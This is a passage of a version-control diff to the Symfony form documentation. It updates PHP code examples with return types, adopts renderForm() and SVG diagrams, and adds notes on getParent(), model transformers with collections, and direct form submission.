@@ -38,7 +38,7 @@ By convention they are stored in the ``src/Form/Type/`` directory::
 
     class ShippingType extends AbstractType
     {
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'choices' => [
@@ -49,19 +49,16 @@ By convention they are stored in the ``src/Form/Type/`` directory::
             ]);
         }
 
-        public function getParent()
+        public function getParent(): string
         {
             return ChoiceType::class;
         }
     }
 
-The ``configureOptions()`` method, which is explained later in this article,
-defines the options that can be configured for the form type and sets the
-default value of those options.
-
-The ``getParent()`` method defines which is the form type used as the base of
-this type. In this case, the type extends from ``ChoiceType`` to reuse all of
-the logic and rendering of that field type.
+The methods of the ``FormTypeInterface`` are explained in detail later in
+this article. Here, ``getParent()`` method defines the base type
+(``ChoiceType``) and ``configureOptions()`` overrides some of its options.
+The resulting form type is a choice field with predefined choices.
 
 .. note::
 
@@ -82,7 +79,7 @@ Now you can add this form type when :doc:`creating Symfony forms </forms>`::
 
     class OrderType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 // ...
@@ -144,13 +141,27 @@ These are the most important methods that a form type class can define:
 
 ``configureOptions()``
     It defines the options configurable when using the form type, which are also
-    the options that can be used in ``buildForm()`` and ``buildView()`` methods.
+    the options that can be used in ``buildForm()`` and ``buildView()``
+    methods. Options are inherited from parent types and parent type
+    extensions, but you can create any custom option you need.
 
 ``finishView()``
     When creating a form type that consists of many fields, this method allows
     to modify the "view" of any of those fields. For any other use case, it's
     recommended to use instead the ``buildView()`` method.
 
+``getParent()``
+    If your custom type is based on another type (i.e. they share some
+    functionality) add this method to return the fully-qualified class name
+    of that original type. Do not use PHP inheritance for this.
+    Symfony will call all the form type methods (``buildForm()``,
+    ``buildView()``, etc.) of the parent type and it will call all its type
+    extensions before calling the ones defined in your custom type.
+
+    By default, the ``AbstractType`` class returns the generic
+    :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType`
+    type, which is the root parent for all form types in the Form component.
+
 Defining the Form Type
 ~~~~~~~~~~~~~~~~~~~~~~
 
@@ -168,7 +179,7 @@ in the postal address. For the moment, all fields are of type ``TextType``::
     {
         // ...
 
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('addressLine1', TextType::class, [
@@ -209,7 +220,7 @@ correctly rendered in any template::
 
     class OrderType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 // ...
@@ -254,7 +265,7 @@ to define, validate and process their values::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // this defines the available options and their default values when
             // they are not configured explicitly when using the form type
@@ -293,7 +304,7 @@ Now you can configure these options when using the form type::
 
     class OrderType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 // ...
@@ -320,7 +331,7 @@ The last step is to use these options when building the form::
     {
         // ...
 
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             // ...
 
@@ -394,12 +405,14 @@ rest of files):
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'form_themes' => [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->formThemes([
                 'form/custom_types.html.twig',
                 '...',
-            ],
-        ]);
+            ]);
+        };
 
 The last step is to create the actual Twig template that will render the type.
 The template contents depend on which HTML, CSS and JavaScript frameworks and
@@ -467,7 +480,7 @@ defined by the form or be completely independent::
 
         // ...
 
-        public function buildView(FormView $view, FormInterface $form, array $options)
+        public function buildView(FormView $view, FormInterface $form, array $options): void
         {
             // pass the form type option directly to the template
             $view->vars['isExtendedAddress'] = $options['is_extended_address'];
diff --git a/form/create_form_type_extension.rst b/form/create_form_type_extension.rst
index 59b1c06e9fe..9bb0abc2d8e 100644
--- a/form/create_form_type_extension.rst
+++ b/form/create_form_type_extension.rst
@@ -35,11 +35,11 @@ First, create the form type extension class extending from
     class ImageTypeExtension extends AbstractTypeExtension
     {
         /**
-         * Return the class of the type being extended.
+         * Returns an array of extended types.
          */
         public static function getExtendedTypes(): iterable
         {
-            // return FormType::class to modify (nearly) every field in the system
+            // return [FormType::class] to modify (nearly) every field in the system
             return [FileType::class];
         }
     }
@@ -114,7 +114,7 @@ the database::
 
         // ...
 
-        public function getWebPath()
+        public function getWebPath(): string
         {
             // ... $webPath being the full image URL, to be used in templates
 
@@ -145,17 +145,17 @@ For example::
     {
         public static function getExtendedTypes(): iterable
         {
-            // return FormType::class to modify (nearly) every field in the system
+            // return [FormType::class] to modify (nearly) every field in the system
             return [FileType::class];
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // makes it legal for FileType fields to have an image_property option
             $resolver->setDefined(['image_property']);
         }
 
-        public function buildView(FormView $view, FormInterface $form, array $options)
+        public function buildView(FormView $view, FormInterface $form, array $options): void
         {
             if (isset($options['image_property'])) {
                 // this will be whatever class/entity is bound to your form (e.g. Media)
@@ -191,14 +191,10 @@ Specifically, you need to override the ``file_widget`` block:
     {% extends 'form_div_layout.html.twig' %}
 
     {% block file_widget %}
-        {% spaceless %}
-
         {{ block('form_widget') }}
         {% if image_url is not null %}
             <img src="{{ asset(image_url) }}"/>
         {% endif %}
-
-        {% endspaceless %}
     {% endblock %}
 
 Be sure to :ref:`configure this form theme template <forms-theming-global>` so that
@@ -221,7 +217,7 @@ next to the file field. For example::
 
     class MediaType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('name', TextType::class)
diff --git a/form/data_based_validation.rst b/form/data_based_validation.rst
index 383883ba91f..226284db439 100644
--- a/form/data_based_validation.rst
+++ b/form/data_based_validation.rst
@@ -12,7 +12,7 @@ to an array callback::
     use Symfony\Component\OptionsResolver\OptionsResolver;
 
     // ...
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             'validation_groups' => [
@@ -32,7 +32,7 @@ example).  You can also define whole logic inline by using a ``Closure``::
     use Symfony\Component\OptionsResolver\OptionsResolver;
 
     // ...
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             'validation_groups' => function (FormInterface $form) {
@@ -56,7 +56,7 @@ of the entity as well you have to adjust the option as follows::
     use Symfony\Component\OptionsResolver\OptionsResolver;
 
     // ...
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             'validation_groups' => function (FormInterface $form) {
diff --git a/form/data_mappers.rst b/form/data_mappers.rst
index fff8f565b9f..24ff0716f5f 100644
--- a/form/data_mappers.rst
+++ b/form/data_mappers.rst
@@ -98,7 +98,7 @@ in your form type::
         /**
          * @param Color|null $viewData
          */
-        public function mapDataToForms($viewData, iterable $forms)
+        public function mapDataToForms($viewData, \Traversable $forms): void
         {
             // there is no data yet, so nothing to prepopulate
             if (null === $viewData) {
@@ -119,7 +119,7 @@ in your form type::
             $forms['blue']->setData($viewData->getBlue());
         }
 
-        public function mapFormsToData(iterable $forms, &$viewData)
+        public function mapFormsToData(\Traversable $forms, &$viewData): void
         {
             /** @var FormInterface[] $forms */
             $forms = iterator_to_array($forms);
@@ -158,7 +158,7 @@ method::
 
     final class ColorType extends AbstractType implements DataMapperInterface
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('red', IntegerType::class, [
@@ -177,7 +177,7 @@ method::
             ;
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // when creating a new color, the initial data should be null
             $resolver->setDefault('empty_data', null);
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index 91ed89a3fce..4204b77cf23 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -40,12 +40,12 @@ Suppose you have a Task form with a tags ``text`` type::
     // ...
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('tags', TextType::class);
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Task::class,
@@ -72,7 +72,7 @@ class::
 
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('tags', TextType::class);
 
@@ -136,7 +136,7 @@ Start by setting up the text field like normal::
     // ...
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('description', TextareaType::class)
@@ -144,7 +144,7 @@ Start by setting up the text field like normal::
             ;
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Task::class,
@@ -188,9 +188,8 @@ to and from the issue number and the ``Issue`` object::
          * Transforms an object (issue) to a string (number).
          *
          * @param  Issue|null $issue
-         * @return string
          */
-        public function transform($issue)
+        public function transform($issue): string
         {
             if (null === $issue) {
                 return '';
@@ -203,14 +202,13 @@ to and from the issue number and the ``Issue`` object::
          * Transforms a string (number) to an object (issue).
          *
          * @param  string $issueNumber
-         * @return Issue|null
          * @throws TransformationFailedException if object (issue) is not found.
          */
-        public function reverseTransform($issueNumber)
+        public function reverseTransform($issueNumber): ?Issue
         {
             // no issue number? It's optional, so that's ok
             if (!$issueNumber) {
-                return;
+                return null;
             }
 
             $issue = $this->entityManager
@@ -273,7 +271,7 @@ and type-hint the new class::
             $this->transformer = $transformer;
         }
 
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('description', TextareaType::class)
@@ -306,7 +304,7 @@ end-user error message in the data transformer using the
     {
         // ...
 
-        public function reverseTransform($issueNumber)
+        public function reverseTransform($issueNumber): ?Issue
         {
             // ...
 
@@ -390,19 +388,19 @@ First, create the custom field type class::
             $this->transformer = $transformer;
         }
 
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->addModelTransformer($this->transformer);
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'invalid_message' => 'The selected issue does not exist',
             ]);
         }
 
-        public function getParent()
+        public function getParent(): string
         {
             return TextType::class;
         }
@@ -423,7 +421,7 @@ As long as you're using :ref:`autowire <services-autowire>` and
 
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('description', TextareaType::class)
@@ -480,6 +478,20 @@ Which transformer you need depends on your situation.
 
 To use the view transformer, call ``addViewTransformer()``.
 
+.. caution::
+
+    Be careful with model transformers and
+    :doc:`Collection </reference/forms/types/collection>` field types.
+    Collection's children are created early at ``PRE_SET_DATA`` by its
+    ``ResizeFormListener`` and their data is populated later from the normalized
+    data. So your model transformer cannot reduce the number of items within the
+    Collection (i.e. filtering out some items), as in that case the collection
+    ends up with some empty children.
+    
+    A possible workaround for that limitation could be not using the underlying
+    object directly, but a DTO (Data Transfer Object) instead, that implements
+    the transformation of such incompatible data structures.
+
 So why Use the Model Transformer?
 ---------------------------------
 
diff --git a/form/direct_submit.rst b/form/direct_submit.rst
index ef6897611ad..a7c623dad19 100644
--- a/form/direct_submit.rst
+++ b/form/direct_submit.rst
@@ -11,9 +11,10 @@ to detect when the form has been submitted. However, you can also use the
 control over when exactly your form is submitted and what data is passed to it::
 
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     // ...
 
-    public function new(Request $request)
+    public function new(Request $request): Response
     {
         $task = new Task();
         $form = $this->createForm(TaskType::class, $task);
@@ -28,11 +29,29 @@ control over when exactly your form is submitted and what data is passed to it::
             }
         }
 
-        return $this->render('task/new.html.twig', [
-            'form' => $form->createView(),
+        return $this->renderForm('task/new.html.twig', [
+            'form' => $form,
         ]);
     }
 
+The list of fields submitted with the ``submit()`` method must be the same as
+the fields defined by the form class. Otherwise, you'll see a form validation error::
+
+    public function new(Request $request): Response
+    {
+        // ...
+
+        if ($request->isMethod('POST')) {
+            // '$json' represents payload data sent by React/Angular/Vue
+            // the merge of parameters is needed to submit all form fields
+            $form->submit(array_merge($json, $request->request->all()));
+
+            // ...
+        }
+
+        // ...
+    }
+
 .. tip::
 
     Forms consisting of nested fields expect an array in
diff --git a/form/disabling_validation.rst b/form/disabling_validation.rst
index f23cc73dbbf..2844d0c865d 100644
--- a/form/disabling_validation.rst
+++ b/form/disabling_validation.rst
@@ -9,7 +9,7 @@ these cases you can set the ``validation_groups`` option to ``false``::
 
     use Symfony\Component\OptionsResolver\OptionsResolver;
 
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             'validation_groups' => false,
diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 69339480248..01694ad9653 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -7,18 +7,18 @@ How to Dynamically Modify Forms Using Form Events
 Often times, a form can't be created statically. In this article, you'll learn
 how to customize your form based on three common use-cases:
 
-1) :ref:`form-events-underlying-data`
+1) :ref:`Customizing your Form Based on the Underlying Data <form-events-underlying-data>`
 
    Example: you have a "Product" form and need to modify/add/remove a field
    based on the data on the underlying Product being edited.
 
-2) :ref:`form-events-user-data`
+2) :ref:`How to dynamically Generate Forms Based on user Data <form-events-user-data>`
 
    Example: you create a "Friend Message" form and need to build a drop-down
    that contains only users that are friends with the *current* authenticated
    user.
 
-3) :ref:`form-events-submitted-data`
+3) :ref:`Dynamic Generation for Submitted Forms <form-events-submitted-data>`
 
    Example: on a registration form, you have a "country" field and a "state"
    field which should populate dynamically based on the value in the "country"
@@ -45,13 +45,13 @@ a bare form class looks like::
 
     class ProductType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('name');
             $builder->add('price');
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Product::class,
@@ -92,7 +92,7 @@ creating that particular field is delegated to an event listener::
 
     class ProductType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('price');
 
@@ -109,7 +109,7 @@ object is new (e.g. hasn't been persisted to the database). Based on that,
 the event listener might look like the following::
 
     // ...
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
         $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event) {
@@ -151,14 +151,14 @@ you can also move the logic for creating the ``name`` field to an
 
     class AddNameFieldSubscriber implements EventSubscriberInterface
     {
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             // Tells the dispatcher that you want to listen on the form.pre_set_data
             // event and that the preSetData method should be called.
             return [FormEvents::PRE_SET_DATA => 'preSetData'];
         }
 
-        public function preSetData(FormEvent $event)
+        public function preSetData(FormEvent $event): void
         {
             $product = $event->getData();
             $form = $event->getForm();
@@ -179,7 +179,7 @@ Great! Now use that in your form class::
 
     class ProductType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('price');
 
@@ -217,7 +217,7 @@ Using an event listener, your form might look like this::
 
     class FriendMessageFormType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('subject', TextType::class)
@@ -274,7 +274,7 @@ security helper to fill in the listener logic::
             $this->security = $security;
         }
 
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('subject', TextType::class)
@@ -337,10 +337,12 @@ and :doc:`tag it </service_container/tags>` with the ``form.type`` tag.
 In a controller, create the form like normal::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
 
     class FriendMessageController extends AbstractController
     {
-        public function new(Request $request)
+        public function new(Request $request): Response
         {
             $form = $this->createForm(FriendMessageFormType::class);
 
@@ -351,7 +353,7 @@ In a controller, create the form like normal::
 You can also  embed the form type into another form::
 
     // inside some other "form type" class
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         $builder->add('message', FriendMessageFormType::class);
     }
@@ -375,6 +377,8 @@ sport like this::
     // src/Form/Type/SportMeetupType.php
     namespace App\Form\Type;
 
+    use App\Entity\Position;
+    use App\Entity\Sport;
     use Symfony\Bridge\Doctrine\Form\Type\EntityType;
     use Symfony\Component\Form\AbstractType;
     use Symfony\Component\Form\FormBuilderInterface;
@@ -384,11 +388,11 @@ sport like this::
 
     class SportMeetupType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('sport', EntityType::class, [
-                    'class'       => 'App\Entity\Sport',
+                    'class' => Sport::class,
                     'placeholder' => '',
                 ])
             ;
@@ -405,7 +409,7 @@ sport like this::
                     $positions = null === $sport ? [] : $sport->getAvailablePositions();
 
                     $form->add('position', EntityType::class, [
-                        'class' => 'App\Entity\Position',
+                        'class' => Position::class,
                         'placeholder' => '',
                         'choices' => $positions,
                     ]);
@@ -441,6 +445,7 @@ The type would now look like::
     // src/Form/Type/SportMeetupType.php
     namespace App\Form\Type;
 
+    use App\Entity\Position;
     use App\Entity\Sport;
     use Symfony\Bridge\Doctrine\Form\Type\EntityType;
     use Symfony\Component\Form\FormInterface;
@@ -448,11 +453,11 @@ The type would now look like::
 
     class SportMeetupType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('sport', EntityType::class, [
-                    'class'       => 'App\Entity\Sport',
+                    'class' => Sport::class,
                     'placeholder' => '',
                 ])
             ;
@@ -461,7 +466,7 @@ The type would now look like::
                 $positions = null === $sport ? [] : $sport->getAvailablePositions();
 
                 $form->add('position', EntityType::class, [
-                    'class' => 'App\Entity\Position',
+                    'class' => Position::class,
                     'placeholder' => '',
                     'choices' => $positions,
                 ]);
@@ -515,11 +520,12 @@ your application. Assume that you have a sport meetup creation controller::
     use App\Form\Type\SportMeetupType;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     // ...
 
     class MeetupController extends AbstractController
     {
-        public function create(Request $request)
+        public function create(Request $request): Response
         {
             $meetup = new SportMeetup();
             $form = $this->createForm(SportMeetupType::class, $meetup);
@@ -528,10 +534,9 @@ your application. Assume that you have a sport meetup creation controller::
                 // ... save the meetup, redirect etc.
             }
 
-            return $this->render(
-                'meetup/create.html.twig',
-                ['form' => $form->createView()]
-            );
+            return $this->renderForm('meetup/create.html.twig', [
+                'form' => $form,
+            ]);
         }
 
         // ...
@@ -563,11 +568,11 @@ field according to the current selection in the ``sport`` field:
         url : $form.attr('action'),
         type: $form.attr('method'),
         data : data,
-        success: function(html) {
+        complete: function(html) {
           // Replace current position field ...
           $('#meetup_position').replaceWith(
             // ... with the returned one from the AJAX response.
-            $(html).find('#meetup_position')
+            $(html.responseText).find('#meetup_position')
           );
           // Position field now displays the appropriate positions.
         }
diff --git a/form/embedded.rst b/form/embedded.rst
index 9da8104b143..787580a41d1 100644
--- a/form/embedded.rst
+++ b/form/embedded.rst
@@ -46,12 +46,12 @@ Next, add a new ``category`` property to the ``Task`` class::
 
         // ...
 
-        public function getCategory()
+        public function getCategory(): ?Category
         {
             return $this->category;
         }
 
-        public function setCategory(Category $category = null)
+        public function setCategory(?Category $category)
         {
             $this->category = $category;
         }
@@ -76,12 +76,12 @@ create a form class so that a ``Category`` object can be modified by the user::
 
     class CategoryType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('name');
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Category::class,
@@ -97,7 +97,7 @@ class::
     use App\Form\CategoryType;
     use Symfony\Component\Form\FormBuilderInterface;
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
 
diff --git a/form/events.rst b/form/events.rst
index 5620ec96f46..a99698aa247 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -32,17 +32,16 @@ register an event listener to the ``FormEvents::PRE_SUBMIT`` event as follows::
 The Form Workflow
 -----------------
 
-The Form Submission Workflow
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. raw:: html
 
-.. image:: /_images/components/form/general_flow.png
-    :align: center
+    <object data="../_images/form/form_workflow.svg" type="image/svg+xml"></object>
 
 1) Pre-populating the Form (``FormEvents::PRE_SET_DATA`` and ``FormEvents::POST_SET_DATA``)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. image:: /_images/components/form/set_data_flow.png
-    :align: center
+.. raw:: html
+
+    <object data="../_images/form/form_prepopulation_workflow.svg" type="image/svg+xml"></object>
 
 Two events are dispatched during pre-population of a form, when
 :method:`Form::setData() <Symfony\\Component\\Form\\Form::setData>`
@@ -118,8 +117,9 @@ View data        Normalized data transformed using a view transformer
 2) Submitting a Form (``FormEvents::PRE_SUBMIT``, ``FormEvents::SUBMIT`` and ``FormEvents::POST_SUBMIT``)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. image:: /_images/components/form/submission_flow.png
-    :align: center
+.. raw:: html
+
+    <object data="../_images/form/form_submission_workflow.svg" type="image/svg+xml"></object>
 
 Three events are dispatched when
 :method:`Form::handleRequest() <Symfony\\Component\\Form\\Form::handleRequest>`
@@ -308,7 +308,7 @@ callback for better readability::
     // ...
     class SubscriptionType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('username', TextType::class)
@@ -320,7 +320,7 @@ callback for better readability::
             ;
         }
 
-        public function onPreSetData(FormEvent $event)
+        public function onPreSetData(FormEvent $event): void
         {
             // ...
         }
@@ -347,7 +347,7 @@ Consider the following example of a form event subscriber::
 
     class AddEmailFieldListener implements EventSubscriberInterface
     {
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 FormEvents::PRE_SET_DATA => 'onPreSetData',
@@ -355,7 +355,7 @@ Consider the following example of a form event subscriber::
             ];
         }
 
-        public function onPreSetData(FormEvent $event)
+        public function onPreSetData(FormEvent $event): void
         {
             $user = $event->getData();
             $form = $event->getForm();
@@ -367,7 +367,7 @@ Consider the following example of a form event subscriber::
             }
         }
 
-        public function onPreSubmit(FormEvent $event)
+        public function onPreSubmit(FormEvent $event): void
         {
             $user = $event->getData();
             $form = $event->getForm();
diff --git a/form/form_collections.rst b/form/form_collections.rst
index 1d0b56c244a..c58bf996235 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -4,10 +4,10 @@
 How to Embed a Collection of Forms
 ==================================
 
-In this article, you'll learn how to create a form that embeds a collection
-of many other forms. This could be useful, for example, if you had a ``Task``
-class and you wanted to edit/create/remove many ``Tag`` objects related to
-that Task, right inside the same form.
+Symfony Forms can embed a collection of many other forms, which is useful to
+edit related entities in a single form. In this article, you'll create a form to
+edit a ``Task`` class and, right inside the same form, you'll be able to edit,
+create and remove many ``Tag`` objects related to that Task.
 
 Let's start by creating a ``Task`` entity::
 
@@ -15,6 +15,7 @@ Let's start by creating a ``Task`` entity::
     namespace App\Entity;
 
     use Doctrine\Common\Collections\ArrayCollection;
+    use Doctrine\Common\Collections\Collection;
 
     class Task
     {
@@ -26,17 +27,17 @@ Let's start by creating a ``Task`` entity::
             $this->tags = new ArrayCollection();
         }
 
-        public function getDescription()
+        public function getDescription(): string
         {
             return $this->description;
         }
 
-        public function setDescription($description)
+        public function setDescription(string $description): void
         {
             $this->description = $description;
         }
 
-        public function getTags()
+        public function getTags(): Collection
         {
             return $this->tags;
         }
@@ -44,9 +45,8 @@ Let's start by creating a ``Task`` entity::
 
 .. note::
 
-    The ``ArrayCollection`` is specific to Doctrine and is basically the
-    same as using an ``array`` (but it must be an ``ArrayCollection`` if
-    you're using Doctrine).
+    The `ArrayCollection`_ is specific to Doctrine and is similar to a PHP array
+    but provides many utility methods.
 
 Now, create a ``Tag`` class. As you saw above, a ``Task`` can have many ``Tag``
 objects::
@@ -58,12 +58,12 @@ objects::
     {
         private $name;
 
-        public function getName()
+        public function getName(): string
         {
             return $this->name;
         }
 
-        public function setName($name)
+        public function setName(string $name): void
         {
             $this->name = $name;
         }
@@ -81,12 +81,12 @@ Then, create a form class so that a ``Tag`` object can be modified by the user::
 
     class TagType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('name');
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Tag::class,
@@ -110,7 +110,7 @@ inside the task form itself::
 
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('description');
 
@@ -120,7 +120,7 @@ inside the task form itself::
             ]);
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Task::class,
@@ -138,10 +138,11 @@ In your controller, you'll create a new form from the ``TaskType``::
     use App\Form\TaskType;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
 
     class TaskController extends AbstractController
     {
-        public function new(Request $request)
+        public function new(Request $request): Response
         {
             $task = new Task();
 
@@ -163,8 +164,8 @@ In your controller, you'll create a new form from the ``TaskType``::
                 // ... do your form processing, like saving the Task and Tag entities
             }
 
-            return $this->render('task/new.html.twig', [
-                'form' => $form->createView(),
+            return $this->renderForm('task/new.html.twig', [
+                'form' => $form,
             ]);
         }
     }
@@ -224,7 +225,7 @@ it will receive an *unknown* number of tags. Otherwise, you'll see a
 
     // ...
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
 
@@ -242,13 +243,19 @@ the following ``data-prototype`` attribute to the existing ``<ul>`` in your temp
 
 .. code-block:: html+twig
 
-    <ul class="tags" data-prototype="{{ form_widget(form.tags.vars.prototype)|e('html_attr') }}">
+    <ul class="tags" data-index="{{ form.tags|length > 0 ? form.tags|last.vars.name + 1 : 0 }}" data-prototype="{{ form_widget(form.tags.vars.prototype)|e('html_attr') }}"></ul>
+
+Now add a button just next to the ``<ul>`` to dynamically add a new tag:
+
+.. code-block:: html+twig
+
+    <button type="button" class="add_item_link" data-collection-holder-class="tags">Add a tag</button>
 
 On the rendered page, the result will look something like this:
 
 .. code-block:: html
 
-    <ul class="tags" data-prototype="&lt;div&gt;&lt;label class=&quot; required&quot;&gt;__name__&lt;/label&gt;&lt;div id=&quot;task_tags___name__&quot;&gt;&lt;div&gt;&lt;label for=&quot;task_tags___name___name&quot; class=&quot; required&quot;&gt;Name&lt;/label&gt;&lt;input type=&quot;text&quot; id=&quot;task_tags___name___name&quot; name=&quot;task[tags][__name__][name]&quot; required=&quot;required&quot; maxlength=&quot;255&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;">
+    <ul class="tags" data-index="0" data-prototype="&lt;div&gt;&lt;label class=&quot; required&quot;&gt;__name__&lt;/label&gt;&lt;div id=&quot;task_tags___name__&quot;&gt;&lt;div&gt;&lt;label for=&quot;task_tags___name___name&quot; class=&quot; required&quot;&gt;Name&lt;/label&gt;&lt;input type=&quot;text&quot; id=&quot;task_tags___name___name&quot; name=&quot;task[tags][__name__][name]&quot; required=&quot;required&quot; maxlength=&quot;255&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;">
 
